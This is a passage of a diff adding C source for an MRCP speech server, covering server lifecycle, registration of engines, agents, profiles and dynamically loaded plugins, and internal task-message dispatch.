+	CONNECTION_AGENT_TASK_MSG_REMOVE_CHANNEL,
+	CONNECTION_AGENT_TASK_MSG_RECEIVE_MESSAGE,
+	CONNECTION_AGENT_TASK_MSG_TERMINATE
+} connection_agent_task_msg_type_e;
+
+typedef struct connection_agent_task_msg_data_t connection_agent_task_msg_data_t;
+struct connection_agent_task_msg_data_t {
+	mrcp_channel_t            *channel;
+	mrcp_control_descriptor_t *descriptor;
+	mrcp_message_t            *message;
+	apt_bool_t                 status;
+};
+
+static apt_bool_t mrcp_server_channel_add_signal(mrcp_control_channel_t *channel, mrcp_control_descriptor_t *descriptor, apt_bool_t status);
+static apt_bool_t mrcp_server_channel_modify_signal(mrcp_control_channel_t *channel, mrcp_control_descriptor_t *descriptor, apt_bool_t status);
+static apt_bool_t mrcp_server_channel_remove_signal(mrcp_control_channel_t *channel, apt_bool_t status);
+static apt_bool_t mrcp_server_message_signal(mrcp_control_channel_t *channel, mrcp_message_t *message);
+
+static const mrcp_connection_event_vtable_t connection_method_vtable = {
+	mrcp_server_channel_add_signal,
+	mrcp_server_channel_modify_signal,
+	mrcp_server_channel_remove_signal,
+	mrcp_server_message_signal
+};
+
+
+/* Resource engine interface */
+typedef enum {
+	RESOURCE_ENGINE_TASK_MSG_OPEN_CHANNEL,
+	RESOURCE_ENGINE_TASK_MSG_CLOSE_CHANNEL,
+	RESOURCE_ENGINE_TASK_MSG_MESSAGE
+} resource_engine_task_msg_type_e;
+
+typedef struct resource_engine_task_msg_data_t resource_engine_task_msg_data_t;
+struct resource_engine_task_msg_data_t {
+	mrcp_channel_t *channel;
+	apt_bool_t      status;
+	mrcp_message_t *mrcp_message;
+};
+
+static apt_bool_t mrcp_server_channel_open_signal(mrcp_engine_channel_t *channel, apt_bool_t status);
+static apt_bool_t mrcp_server_channel_close_signal(mrcp_engine_channel_t *channel);
+static apt_bool_t mrcp_server_channel_message_signal(mrcp_engine_channel_t *channel, mrcp_message_t *message);
+
+const mrcp_engine_channel_event_vtable_t engine_channel_vtable = {
+	mrcp_server_channel_open_signal,
+	mrcp_server_channel_close_signal,
+	mrcp_server_channel_message_signal
+};
+
+/* Task interface */
+static void mrcp_server_on_start_complete(apt_task_t *task);
+static void mrcp_server_on_terminate_complete(apt_task_t *task);
+static apt_bool_t mrcp_server_msg_process(apt_task_t *task, apt_task_msg_t *msg);
+
+static mrcp_session_t* mrcp_server_sig_agent_session_create(mrcp_sig_agent_t *signaling_agent);
+
+
+/** Create MRCP server instance */
+MRCP_DECLARE(mrcp_server_t*) mrcp_server_create(apt_dir_layout_t *dir_layout)
+{
+	mrcp_server_t *server;
+	apr_pool_t *pool;
+	apt_task_t *task;
+	apt_task_vtable_t *vtable;
+	apt_task_msg_pool_t *msg_pool;
+	
+	pool = apt_pool_create();
+	if(!pool) {
+		return NULL;
+	}
+
+	apt_log(APT_LOG_MARK,APT_PRIO_NOTICE,"Create "SERVER_TASK_NAME);
+	server = apr_palloc(pool,sizeof(mrcp_server_t));
+	server->pool = pool;
+	server->dir_layout = dir_layout;
+	server->resource_factory = NULL;
+	server->resource_engine_table = NULL;
+	server->media_engine_table = NULL;
+	server->rtp_factory_table = NULL;
+	server->sig_agent_table = NULL;
+	server->cnt_agent_table = NULL;
+	server->profile_table = NULL;
+	server->plugin_table = NULL;
+	server->session_table = NULL;
+	server->connection_msg_pool = NULL;
+	server->resource_engine_msg_pool = NULL;
+
+	msg_pool = apt_task_msg_pool_create_dynamic(0,pool);
+
+	server->task = apt_consumer_task_create(server,msg_pool,pool);
+	if(!server->task) {
+		apt_log(APT_LOG_MARK,APT_PRIO_WARNING,"Failed to Create Server Task");
+		return NULL;
+	}
+	task = apt_consumer_task_base_get(server->task);
+	apt_task_name_set(task,SERVER_TASK_NAME);
+	vtable = apt_task_vtable_get(task);
+	if(vtable) {
+		vtable->process_msg = mrcp_server_msg_process;
+		vtable->on_start_complete = mrcp_server_on_start_complete;
+		vtable->on_terminate_complete = mrcp_server_on_terminate_complete;
+	}
+
+	server->resource_engine_table = apr_hash_make(server->pool);
+	server->media_engine_table = apr_hash_make(server->pool);
+	server->rtp_factory_table = apr_hash_make(server->pool);
+	server->sig_agent_table = apr_hash_make(server->pool);
+	server->cnt_agent_table = apr_hash_make(server->pool);
+
+	server->profile_table = apr_hash_make(server->pool);
+	server->plugin_table = apr_hash_make(server->pool);
+	
+	server->session_table = apr_hash_make(server->pool);
+	return server;
+}
+
+/** Start message processing loop */
+MRCP_DECLARE(apt_bool_t) mrcp_server_start(mrcp_server_t *server)
+{
+	apt_task_t *task;
+	if(!server || !server->task) {
+		apt_log(APT_LOG_MARK,APT_PRIO_WARNING,"Invalid Server");
+		return FALSE;
+	}
+	server->start_time = apr_time_now();
+	task = apt_consumer_task_base_get(server->task);
+	if(apt_task_start(task) == FALSE) {
+		apt_log(APT_LOG_MARK,APT_PRIO_WARNING,"Failed to Start Server Task");
+		return FALSE;
+	}
+	return TRUE;
+}
+
+/** Shutdown message processing loop */
+MRCP_DECLARE(apt_bool_t) mrcp_server_shutdown(mrcp_server_t *server)
+{
+	apt_task_t *task;
+	apr_time_t uptime;
+	if(!server || !server->task) {
+		apt_log(APT_LOG_MARK,APT_PRIO_WARNING,"Invalid Server");
+		return FALSE;
+	}
+	task = apt_consumer_task_base_get(server->task);
+	if(apt_task_terminate(task,TRUE) == FALSE) {
+		apt_log(APT_LOG_MARK,APT_PRIO_WARNING,"Failed to Shutdown Server Task");
+		return FALSE;
+	}
+	server->session_table = NULL;
+	uptime = apr_time_now() - server->start_time;
+	apt_log(APT_LOG_MARK,APT_PRIO_NOTICE,"Server Uptime [%d sec]", apr_time_sec(uptime));
+	return TRUE;
+}
+
+/** Destroy MRCP server */
+MRCP_DECLARE(apt_bool_t) mrcp_server_destroy(mrcp_server_t *server)
+{
+	apt_task_t *task;
+	if(!server || !server->task) {
+		apt_log(APT_LOG_MARK,APT_PRIO_WARNING,"Invalid Server");
+		return FALSE;
+	}
+	task = apt_consumer_task_base_get(server->task);
+	apt_task_destroy(task);
+
+	apr_pool_destroy(server->pool);
+	return TRUE;
+}
+
+/** Register MRCP resource factory */
+MRCP_DECLARE(apt_bool_t) mrcp_server_resource_factory_register(mrcp_server_t *server, mrcp_resource_factory_t *resource_factory)
+{
+	if(!resource_factory) {
+		return FALSE;
+	}
+	apt_log(APT_LOG_MARK,APT_PRIO_INFO,"Register Resource Factory");
+	server->resource_factory = resource_factory;
+	return TRUE;
+}
+
+/** Register MRCP resource engine */
+MRCP_DECLARE(apt_bool_t) mrcp_server_resource_engine_register(mrcp_server_t *server, mrcp_resource_engine_t *engine, const char *name)
+{
+	if(!engine || !name) {
+		return FALSE;
+	}
+	if(!server->resource_engine_msg_pool) {
+		server->resource_engine_msg_pool = apt_task_msg_pool_create_dynamic(sizeof(resource_engine_task_msg_data_t),server->pool);
+	}
+	engine->codec_manager = server->codec_manager;
+	engine->dir_layout = server->dir_layout;
+	apt_log(APT_LOG_MARK,APT_PRIO_INFO,"Register Resource Engine [%s]",name);
+	apr_hash_set(server->resource_engine_table,name,APR_HASH_KEY_STRING,engine);
+	return TRUE;
+}
+
+/** Get resource engine by name */
+MRCP_DECLARE(mrcp_resource_engine_t*) mrcp_server_resource_engine_get(mrcp_server_t *server, const char *name)
+{
+	return apr_hash_get(server->resource_engine_table,name,APR_HASH_KEY_STRING);
+}
+
+/** Register codec manager */
+MRCP_DECLARE(apt_bool_t) mrcp_server_codec_manager_register(mrcp_server_t *server, mpf_codec_manager_t *codec_manager)
+{
+	if(!codec_manager) {
+		return FALSE;
+	}
+	server->codec_manager = codec_manager;
+	return TRUE;
+}
+
+/** Get registered codec manager */
+MRCP_DECLARE(const mpf_codec_manager_t*) mrcp_server_codec_manager_get(mrcp_server_t *server)
+{
+	return server->codec_manager;
+}
+
+/** Register media engine */
+MRCP_DECLARE(apt_bool_t) mrcp_server_media_engine_register(mrcp_server_t *server, mpf_engine_t *media_engine, const char *name)
+{
+	if(!media_engine || !name) {
+		return FALSE;
+	}
+	apt_log(APT_LOG_MARK,APT_PRIO_INFO,"Register Media Engine [%s]",name);
+	mpf_engine_codec_manager_register(media_engine,server->codec_manager);
+	apr_hash_set(server->media_engine_table,name,APR_HASH_KEY_STRING,media_engine);
+	mpf_engine_task_msg_type_set(media_engine,MRCP_SERVER_MEDIA_TASK_MSG);
+	if(server->task) {
+		apt_task_t *media_task = mpf_task_get(media_engine);
+		apt_task_t *task = apt_consumer_task_base_get(server->task);
+		apt_task_add(task,media_task);
+	}
+	return TRUE;
+}
+
+/** Get media engine by name */
+MRCP_DECLARE(mpf_engine_t*) mrcp_server_media_engine_get(mrcp_server_t *server, const char *name)
+{
+	return apr_hash_get(server->media_engine_table,name,APR_HASH_KEY_STRING);
+}
+
+/** Register RTP termination factory */
+MRCP_DECLARE(apt_bool_t) mrcp_server_rtp_factory_register(mrcp_server_t *server, mpf_termination_factory_t *rtp_termination_factory, const char *name)
+{
+	if(!rtp_termination_factory || !name) {
+		return FALSE;
+	}
+	apt_log(APT_LOG_MARK,APT_PRIO_INFO,"Register RTP Termination Factory [%s]",name);
+	apr_hash_set(server->rtp_factory_table,name,APR_HASH_KEY_STRING,rtp_termination_factory);
+	return TRUE;
+}
+
+/** Get RTP termination factory by name */
+MRCP_DECLARE(mpf_termination_factory_t*) mrcp_server_rtp_factory_get(mrcp_server_t *server, const char *name)
+{
+	return apr_hash_get(server->rtp_factory_table,name,APR_HASH_KEY_STRING);
+}
+
+/** Register MRCP signaling agent */
+MRCP_DECLARE(apt_bool_t) mrcp_server_signaling_agent_register(mrcp_server_t *server, mrcp_sig_agent_t *signaling_agent, const char *name)
+{
+	if(!signaling_agent || !name) {
+		return FALSE;
+	}
+	apt_log(APT_LOG_MARK,APT_PRIO_INFO,"Register Signaling Agent [%s]",name);
+	signaling_agent->parent = server;
+	signaling_agent->resource_factory = server->resource_factory;
+	signaling_agent->create_server_session = mrcp_server_sig_agent_session_create;
+	signaling_agent->msg_pool = apt_task_msg_pool_create_dynamic(sizeof(mrcp_signaling_message_t*),server->pool);
+	apr_hash_set(server->sig_agent_table,name,APR_HASH_KEY_STRING,signaling_agent);
+	if(server->task) {
+		apt_task_t *task = apt_consumer_task_base_get(server->task);
+		apt_task_add(task,signaling_agent->task);
+	}
+	return TRUE;
+}
+
+/** Get signaling agent by name */
+MRCP_DECLARE(mrcp_sig_agent_t*) mrcp_server_signaling_agent_get(mrcp_server_t *server, const char *name)
+{
+	return apr_hash_get(server->sig_agent_table,name,APR_HASH_KEY_STRING);
+}
+
+/** Register MRCP connection agent (MRCPv2 only) */
+MRCP_DECLARE(apt_bool_t) mrcp_server_connection_agent_register(mrcp_server_t *server, mrcp_connection_agent_t *connection_agent, const char *name)
+{
+	if(!connection_agent || !name) {
+		return FALSE;
+	}
+	apt_log(APT_LOG_MARK,APT_PRIO_INFO,"Register Connection Agent [%s]",name);
+	mrcp_server_connection_resource_factory_set(connection_agent,server->resource_factory);
+	mrcp_server_connection_agent_handler_set(connection_agent,server,&connection_method_vtable);
+	server->connection_msg_pool = apt_task_msg_pool_create_dynamic(sizeof(connection_agent_task_msg_data_t),server->pool);
+	apr_hash_set(server->cnt_agent_table,name,APR_HASH_KEY_STRING,connection_agent);
+	if(server->task) {
+		apt_task_t *task = apt_consumer_task_base_get(server->task);
+		apt_task_t *connection_task = mrcp_server_connection_agent_task_get(connection_agent);
+		apt_task_add(task,connection_task);
+	}
+	return TRUE;
+}
+
+/** Get connection agent by name */
+MRCP_DECLARE(mrcp_connection_agent_t*) mrcp_server_connection_agent_get(mrcp_server_t *server, const char *name)
+{
+	return apr_hash_get(server->cnt_agent_table,name,APR_HASH_KEY_STRING);
+}
+
+/** Create MRCP profile */
+MRCP_DECLARE(mrcp_profile_t*) mrcp_server_profile_create(
+									mrcp_resource_factory_t *resource_factory,
+									mrcp_sig_agent_t *signaling_agent,
+									mrcp_connection_agent_t *connection_agent,
+									mpf_engine_t *media_engine,
+									mpf_termination_factory_t *rtp_factory,
+									apr_pool_t *pool)
+{
+	mrcp_profile_t *profile = apr_palloc(pool,sizeof(mrcp_profile_t));
+	profile->resource_factory = resource_factory;
+	profile->engine_table = NULL;
+	profile->media_engine = media_engine;
+	profile->rtp_termination_factory = rtp_factory;
+	profile->signaling_agent = signaling_agent;
+	profile->connection_agent = connection_agent;
+	return profile;
+}
+
+static apt_bool_t mrcp_server_engine_table_make(mrcp_server_t *server, mrcp_profile_t *profile, apr_table_t *plugin_map)
+{
+	int i;
+	const apt_str_t *resource_name;
+	const char *plugin_name = NULL;
+	mrcp_resource_engine_t *resource_engine;
+
+	profile->engine_table = apr_hash_make(server->pool);
+	for(i=0; i<MRCP_RESOURCE_TYPE_COUNT; i++) {
+		resource_name = mrcp_resource_name_get(server->resource_factory,i);
+		if(!resource_name) continue;
+		
+		resource_engine = NULL;
+		/* first, try to find engine by name specified in plugin map (if available) */
+		if(plugin_map) {
+			plugin_name = apr_table_get(plugin_map,resource_name->buf);
+			if(plugin_name) {
+				resource_engine = mrcp_server_resource_engine_get(server,plugin_name);
+			}
+		}
+
+		/* next, if no engine found, try to find the first available engine */
+		if(!resource_engine) {
+			mrcp_resource_engine_t *cur_engine;
+			void *val;
+			apr_hash_index_t *it = apr_hash_first(server->pool,server->resource_engine_table);
+			/* walk through the list of engines */
+			for(; it; it = apr_hash_next(it)) {
+				apr_hash_this(it,(void*)&plugin_name,NULL,&val);
+				cur_engine = val;
+				if(cur_engine && cur_engine->resource_id == (mrcp_resource_id)i) {
+					resource_engine = cur_engine;
+					break;
+				}
+			}
+		}
+		
+		if(resource_engine) {
+			if(plugin_name) {
+				apt_log(APT_LOG_MARK,APT_PRIO_INFO,"Assign Resource Engine [%s] [%s]",resource_name->buf,plugin_name);
+			}
+			apr_hash_set(profile->engine_table,resource_name->buf,resource_name->length,resource_engine);
+		}
+		else {
+			apt_log(APT_LOG_MARK,APT_PRIO_WARNING,"No Resource Engine Available [%s]",resource_name->buf);
+		}
+	}
+
+	return TRUE;
+}
+
+/** Register MRCP profile */
+MRCP_DECLARE(apt_bool_t) mrcp_server_profile_register(
+									mrcp_server_t *server,
+									mrcp_profile_t *profile,
+									apr_table_t *plugin_map,
+									const char *name)
+{
+	if(!profile || !name) {
+		apt_log(APT_LOG_MARK,APT_PRIO_WARNING,"Failed to Register Profile: no name");
+		return FALSE;
+	}
+	if(!profile->resource_factory) {
+		profile->resource_factory = server->resource_factory;
+	}
+	mrcp_server_engine_table_make(server,profile,plugin_map);
+	
+	if(!profile->signaling_agent) {
+		apt_log(APT_LOG_MARK,APT_PRIO_WARNING,"Failed to Register Profile [%s]: missing signaling agent",name);
+		return FALSE;
+	}
+	if(profile->signaling_agent->mrcp_version == MRCP_VERSION_2 &&
+		!profile->connection_agent) {
+		apt_log(APT_LOG_MARK,APT_PRIO_WARNING,"Failed to Register Profile [%s]: missing connection agent",name);
+		return FALSE;
+	}
+	if(!profile->media_engine) {
+		apt_log(APT_LOG_MARK,APT_PRIO_WARNING,"Failed to Register Profile [%s]: missing media engine",name);
+		return FALSE;
+	}
+	if(!profile->rtp_termination_factory) {
+		apt_log(APT_LOG_MARK,APT_PRIO_WARNING,"Failed to Register Profile [%s]: missing RTP factory",name);
+		return FALSE;
+	}
+
+	apt_log(APT_LOG_MARK,APT_PRIO_INFO,"Register Profile [%s]",name);
+	apr_hash_set(server->profile_table,name,APR_HASH_KEY_STRING,profile);
+	return TRUE;
+}
+
+/** Get profile by name */
+MRCP_DECLARE(mrcp_profile_t*) mrcp_server_profile_get(mrcp_server_t *server, const char *name)
+{
+	return apr_hash_get(server->profile_table,name,APR_HASH_KEY_STRING);
+}
+
+/** Register resource engine plugin */
+MRCP_DECLARE(apt_bool_t) mrcp_server_plugin_register(mrcp_server_t *server, const char *path, const char *name)
+{
+	apt_bool_t status = FALSE;
+	apr_dso_handle_t *plugin = NULL;
+	apr_dso_handle_sym_t func_handle = NULL;
+	mrcp_plugin_creator_f plugin_creator = NULL;
+	if(!path || !name) {
+		apt_log(APT_LOG_MARK,APT_PRIO_WARNING,"Failed to Register Plugin: no name");
+		return FALSE;
+	}
+
+	apt_log(APT_LOG_MARK,APT_PRIO_INFO,"Register Plugin [%s] [%s]",path,name);
+	if(apr_dso_load(&plugin,path,server->pool) == APR_SUCCESS) {
+		if(apr_dso_sym(&func_handle,plugin,MRCP_PLUGIN_ENGINE_SYM_NAME) == APR_SUCCESS) {
+			if(func_handle) {
+				plugin_creator = (mrcp_plugin_creator_f)(intptr_t)func_handle;
+			}
+		}
+		else {
+			apt_log(APT_LOG_MARK,APT_PRIO_WARNING,"Failed to Load DSO Symbol: "MRCP_PLUGIN_ENGINE_SYM_NAME);
+			apr_dso_unload(plugin);
+			return FALSE;
+		}
+		
+		if(apr_dso_sym(&func_handle,plugin,MRCP_PLUGIN_LOGGER_SYM_NAME) == APR_SUCCESS) {
+			if(func_handle) {
+				apt_logger_t *logger = apt_log_instance_get();
+				mrcp_plugin_log_accessor_f log_accessor;
+				log_accessor = (mrcp_plugin_log_accessor_f)(intptr_t)func_handle;
+				log_accessor(logger);
+			}
+		}
+	}
+	else {
+		char derr[512] = "";
+		apr_dso_error(plugin,derr,sizeof(derr));
+		apt_log(APT_LOG_MARK,APT_PRIO_WARNING,"Failed to Load DSO: %s", derr);
+		return FALSE;
+	}
+
+	if(plugin_creator) {
+		mrcp_resource_engine_t *engine = plugin_creator(server->pool);
+		if(engine) {
+			if(mrcp_plugin_version_check(&engine->plugin_version)) {
+				status = TRUE;
+				mrcp_server_resource_engine_register(server,engine,name);
+				apr_hash_set(server->plugin_table,name,APR_HASH_KEY_STRING,plugin);
+			}
+			else {
+				apt_log(APT_LOG_MARK,APT_PRIO_WARNING,"Incompatible Plugin Version [%d.%d.%d] < ["PLUGIN_VERSION_STRING"]",
+					engine->plugin_version.major,
+					engine->plugin_version.minor,
+					engine->plugin_version.patch);
+			}
+		}
+		else {
+			apt_log(APT_LOG_MARK,APT_PRIO_WARNING,"Failed to Create Resource Engine");
+		}
+	}
+	else {
+		apt_log(APT_LOG_MARK,APT_PRIO_WARNING,"No Entry Point Found for Plugin");
+	}
+
+	if(status == FALSE) {
+		apr_dso_unload(plugin);
+	}
+	return status;
+}
+
+MRCP_DECLARE(apr_pool_t*) mrcp_server_memory_pool_get(mrcp_server_t *server)
+{
+	return server->pool;
+}
+
+void mrcp_server_session_add(mrcp_server_session_t *session)
+{
+	if(session->base.id.buf) {
+		apt_log(APT_LOG_MARK,APT_PRIO_NOTICE,"Add Session "APT_SID_FMT,MRCP_SESSION_SID(&session->base));
+		apr_hash_set(session->server->session_table,session->base.id.buf,session->base.id.length,session);
+	}
+}
+
+void mrcp_server_session_remove(mrcp_server_session_t *session)
+{
+	if(session->base.id.buf) {
+		apt_log(APT_LOG_MARK,APT_PRIO_NOTICE,"Remove Session "APT_SID_FMT,MRCP_SESSION_SID(&session->base));
+		apr_hash_set(session->server->session_table,session->base.id.buf,session->base.id.length,NULL);
+	}
+}
+
+static APR_INLINE mrcp_server_session_t* mrcp_server_session_find(mrcp_server_t *server, const apt_str_t *session_id)
+{
+	return apr_hash_get(server->session_table,session_id->buf,session_id->length);
+}
+
+static void mrcp_server_on_start_complete(apt_task_t *task)
+{
+	apt_consumer_task_t *consumer_task = apt_task_object_get(task);
+	mrcp_server_t *server = apt_consumer_task_object_get(consumer_task);
+	mrcp_resource_engine_t *resource_engine;
+	apr_hash_index_t *it;
+	void *val;
+	apt_log(APT_LOG_MARK,APT_PRIO_INFO,"Open Resource Engines");
+	it = apr_hash_first(server->pool,server->resource_engine_table);
+	for(; it; it = apr_hash_next(it)) {
+		apr_hash_this(it,NULL,NULL,&val);
+		resource_engine = val;
+		if(resource_engine) {
+			mrcp_resource_engine_open(resource_engine);
+		}
+	}
+	apt_log(APT_LOG_MARK,APT_PRIO_NOTICE,SERVER_TASK_NAME" Started");
+}
+
+static void mrcp_server_on_terminate_complete(apt_task_t *task)
+{
+	apt_consumer_task_t *consumer_task = apt_task_object_get(task);
+	mrcp_server_t *server = apt_consumer_task_object_get(consumer_task);
+	mrcp_resource_engine_t *resource_engine;
+	apr_dso_handle_t *plugin;
+	apr_hash_index_t *it;
+	void *val;
+	apt_log(APT_LOG_MARK,APT_PRIO_INFO,"Close Resource Engines");
+	it=apr_hash_first(server->pool,server->resource_engine_table);
+	for(; it; it = apr_hash_next(it)) {
+		apr_hash_this(it,NULL,NULL,&val);
+		resource_engine = val;
+		if(resource_engine) {
+			mrcp_resource_engine_close(resource_engine);
+		}
+	}
+	apt_log(APT_LOG_MARK,APT_PRIO_INFO,"Unload Plugins");
+	it=apr_hash_first(server->pool,server->plugin_table);
+	for(; it; it = apr_hash_next(it)) {
+		apr_hash_this(it,NULL,NULL,&val);
+		plugin = val;
+		if(plugin) {
+			apr_dso_unload(plugin);
+		}
+	}
+	apt_log(APT_LOG_MARK,APT_PRIO_NOTICE,SERVER_TASK_NAME" Terminated");
+}
+
+static apt_bool_t mrcp_server_msg_process(apt_task_t *task, apt_task_msg_t *msg)
+{
+	switch(msg->type) {
+		case MRCP_SERVER_SIGNALING_TASK_MSG:
+		{
+			mrcp_signaling_message_t **signaling_message = (mrcp_signaling_message_t**) msg->data;
+			apt_log(APT_LOG_MARK,APT_PRIO_DEBUG,"Receive Signaling Task Message [%d]", (*signaling_message)->type);
+			mrcp_server_signaling_message_process(*signaling_message);
+			break;
+		}
+		case MRCP_SERVER_CONNECTION_TASK_MSG:
+		{
+			const connection_agent_task_msg_data_t *connection_message = (const connection_agent_task_msg_data_t*)msg->data;
+			apt_log(APT_LOG_MARK,APT_PRIO_DEBUG,"Receive Connection Task Message [%d]", msg->sub_type);
+			switch(msg->sub_type) {
+				case CONNECTION_AGENT_TASK_MSG_ADD_CHANNEL:
+				{
+					mrcp_server_on_channel_modify(connection_message->channel,connection_message->descriptor,connection_message->status);
+					break;
+				}
+				case CONNECTION_AGENT_TASK_MSG_MODIFY_CHANNEL:
+				{
+					mrcp_server_on_channel_modify(connection_message->channel,connection_message->descriptor,connection_message->status);
+					break;
+				}
+				case CONNECTION_AGENT_TASK_MSG_REMOVE_CHANNEL:
+				{
+					mrcp_server_on_channel_remove(connection_message->channel,connection_message->status);
+					break;
+				}
+				case CONNECTION_AGENT_TASK_MSG_RECEIVE_MESSAGE:
+				{
+					mrcp_server_on_channel_message(connection_message->channel, connection_message->message);
+					break;
+				}
+				default:
+					break;
+			}
+			break;
+		}
+		case MRCP_SERVER_RESOURCE_ENGINE_TASK_MSG:
+		{
+			resource_engine_task_msg_data_t *data = (resource_engine_task_msg_data_t*)msg->data;
+			apt_log(APT_LOG_MARK,APT_PRIO_DEBUG,"Receive Resource Engine Task Message [%d]", msg->sub_type);
+			switch(msg->sub_type) {
+				case RESOURCE_ENGINE_TASK_MSG_OPEN_CHANNEL:
+					mrcp_server_on_engine_channel_open(data->channel,data->status);
+					break;
+				case RESOURCE_ENGINE_TASK_MSG_CLOSE_CHANNEL:
+					mrcp_server_on_engine_channel_close(data->channel);
+					break;
+				case RESOURCE_ENGINE_TASK_MSG_MESSAGE:
+					mrcp_server_on_engine_channel_message(data->channel,data->mrcp_message);
+					break;
+				default:
+					break;
+			}
+			break;
+		}
+		case MRCP_SERVER_MEDIA_TASK_MSG:
+		{
+			mpf_message_t *mpf_message = (mpf_message_t*) msg->data;
+			apt_log(APT_LOG_MARK,APT_PRIO_DEBUG,"Receive Media Task Message [%d]", mpf_message->command_id);
+			mrcp_server_mpf_message_process(mpf_message);
+			break;
+		}
+		default:
+		{
+			apt_log(APT_LOG_MARK,APT_PRIO_WARNING,"Receive Unknown Task Message [%d]", msg->type);
+			break;
+		}
+	}
+	return TRUE;
+}
+
+static apt_bool_t mrcp_server_signaling_task_msg_signal(mrcp_signaling_message_type_e type, mrcp_session_t *session, mrcp_session_descriptor_t *descriptor, mrcp_message_t *message)
+{
+	mrcp_signaling_message_t *signaling_message;
+	apt_task_msg_t *task_msg = apt_task_msg_acquire(session->signaling_agent->msg_pool);
+	mrcp_signaling_message_t **slot = ((mrcp_signaling_message_t**)task_msg->data);
+	task_msg->type = MRCP_SERVER_SIGNALING_TASK_MSG;
+	task_msg->sub_type = type;
+	
+	signaling_message = apr_palloc(session->pool,sizeof(mrcp_signaling_message_t));
+	signaling_message->type = type;
+	signaling_message->session = (mrcp_server_session_t*)session;
+	signaling_message->descriptor = descriptor;
+	signaling_message->channel = NULL;
+	signaling_message->message = message;
+	*slot = signaling_message;
+	
+	apt_log(APT_LOG_MARK,APT_PRIO_DEBUG,"Signal Signaling Task Message");
+	return apt_task_msg_parent_signal(session->signaling_agent->task,task_msg);
+}
+
+static apt_bool_t mrcp_server_connection_task_msg_signal(
+							connection_agent_task_msg_type_e type,
+							mrcp_connection_agent_t         *agent,
+							mrcp_control_channel_t          *channel,
+							mrcp_control_descriptor_t       *descriptor,
+							mrcp_message_t                  *message,
+							apt_bool_t                       status)
+{
+	mrcp_server_t *server = mrcp_server_connection_agent_object_get(agent);
+	apt_task_t *task = apt_consumer_task_base_get(server->task);
+	connection_agent_task_msg_data_t *data;
+	apt_task_msg_t *task_msg = apt_task_msg_acquire(server->connection_msg_pool);
+	task_msg->type = MRCP_SERVER_CONNECTION_TASK_MSG;
+	task_msg->sub_type = type;
+	data = (connection_agent_task_msg_data_t*) task_msg->data;
+	data->channel = channel ? channel->obj : NULL;
+	data->descriptor = descriptor;
+	data->message = message;
+	data->status = status;
+
+	apt_log(APT_LOG_MARK,APT_PRIO_DEBUG,"Signal Connection Task Message");
+	return apt_task_msg_signal(task,task_msg);
+}
+
+static apt_bool_t mrcp_server_engine_task_msg_signal(
+							resource_engine_task_msg_type_e  type,
+							mrcp_engine_channel_t           *engine_channel,
+							apt_bool_t                       status,
+							mrcp_message_t                  *message)
+{
+	mrcp_channel_t *channel = engine_channel->event_obj;
+	mrcp_session_t *session = mrcp_server_channel_session_get(channel);
+	mrcp_server_t *server = session->signaling_agent->parent;
+	apt_task_t *task = apt_consumer_task_base_get(server->task);
+	resource_engine_task_msg_data_t *data;
+	apt_task_msg_t *task_msg = apt_task_msg_acquire(server->resource_engine_msg_pool);
+	task_msg->type = MRCP_SERVER_RESOURCE_ENGINE_TASK_MSG;
+	task_msg->sub_type = type;
+	data = (resource_engine_task_msg_data_t*) task_msg->data;
+	data->channel = channel;
+	data->status = status;
+	data->mrcp_message = message;
+
+	apt_log(APT_LOG_MARK,APT_PRIO_DEBUG,"Signal Resource Engine Task Message");
+	return apt_task_msg_signal(task,task_msg);
+}
+
+static mrcp_profile_t* mrcp_server_profile_get_by_agent(mrcp_server_t *server, mrcp_server_session_t *session, mrcp_sig_agent_t *signaling_agent)
+{
+	mrcp_profile_t *profile;
+	apr_hash_index_t *it;
+	void *val;
+	const void *key;
+	const char *name;
+	it = apr_hash_first(session->base.pool,server->profile_table);
+	for(; it; it = apr_hash_next(it)) {
+		apr_hash_this(it,&key,NULL,&val);
+		profile = val;
+		name = key;
+		if(profile && name && profile->signaling_agent == signaling_agent) {
+			apt_log(APT_LOG_MARK,APT_PRIO_INFO,"Found Profile [%s]",name);
+			return profile;
+		}
+	}
+	apt_log(APT_LOG_MARK,APT_PRIO_WARNING,"Cannot Find Profile by Agent "APT_SID_FMT,MRCP_SESSION_SID(&session->base));
+	return NULL;
+}
+
+static mrcp_session_t* mrcp_server_sig_agent_session_create(mrcp_sig_agent_t *signaling_agent)
+{
+	mrcp_server_t *server = signaling_agent->parent;
+	mrcp_server_session_t *session = mrcp_server_session_create();
+	session->server = server;
+	session->profile = mrcp_server_profile_get_by_agent(server,session,signaling_agent);
+	if(!session->profile) {
+		mrcp_session_destroy(&session->base);
+		return NULL;
+	}
+	session->base.signaling_agent = signaling_agent;
+	session->base.request_vtable = &session_request_vtable;
+	return &session->base;
+}
+
+static apt_bool_t mrcp_server_offer_signal(mrcp_session_t *session, mrcp_session_descriptor_t *descriptor)
+{
+	return mrcp_server_signaling_task_msg_signal(SIGNALING_MESSAGE_OFFER,session,descriptor,NULL);
+}
+
+static apt_bool_t mrcp_server_terminate_signal(mrcp_session_t *session)
+{
+	return mrcp_server_signaling_task_msg_signal(SIGNALING_MESSAGE_TERMINATE,session,NULL,NULL);
+}
+
+static apt_bool_t mrcp_server_control_signal(mrcp_session_t *session, mrcp_message_t *message)
+{
+	return mrcp_server_signaling_task_msg_signal(SIGNALING_MESSAGE_CONTROL,session,NULL,message);
+}
+
+static apt_bool_t mrcp_server_channel_add_signal(mrcp_control_channel_t *channel, mrcp_control_descriptor_t *descriptor, apt_bool_t status)
+{
+	mrcp_connection_agent_t *agent = channel->agent;
+	return mrcp_server_connection_task_msg_signal(
+								CONNECTION_AGENT_TASK_MSG_ADD_CHANNEL,
+								agent,
+								channel,
+								descriptor,
+								NULL,
+								status);
+}
+
+static apt_bool_t mrcp_server_channel_modify_signal(mrcp_control_channel_t *channel, mrcp_control_descriptor_t *descriptor, apt_bool_t status)
+{
+	mrcp_connection_agent_t *agent = channel->agent;
+	return mrcp_server_connection_task_msg_signal(
+								CONNECTION_AGENT_TASK_MSG_MODIFY_CHANNEL,
+								agent,
+								channel,
+								descriptor,
+								NULL,
+								status);
+}
+
+static apt_bool_t mrcp_server_channel_remove_signal(mrcp_control_channel_t *channel, apt_bool_t status)
+{
+	mrcp_connection_agent_t *agent = channel->agent;
+	return mrcp_server_connection_task_msg_signal(
+								CONNECTION_AGENT_TASK_MSG_REMOVE_CHANNEL,
+								agent,
+								channel,
+								NULL,
+								NULL,
+								status);
+}
+
+static apt_bool_t mrcp_server_message_signal(mrcp_control_channel_t *channel, mrcp_message_t *message)
+{
+	mrcp_connection_agent_t *agent = channel->agent;
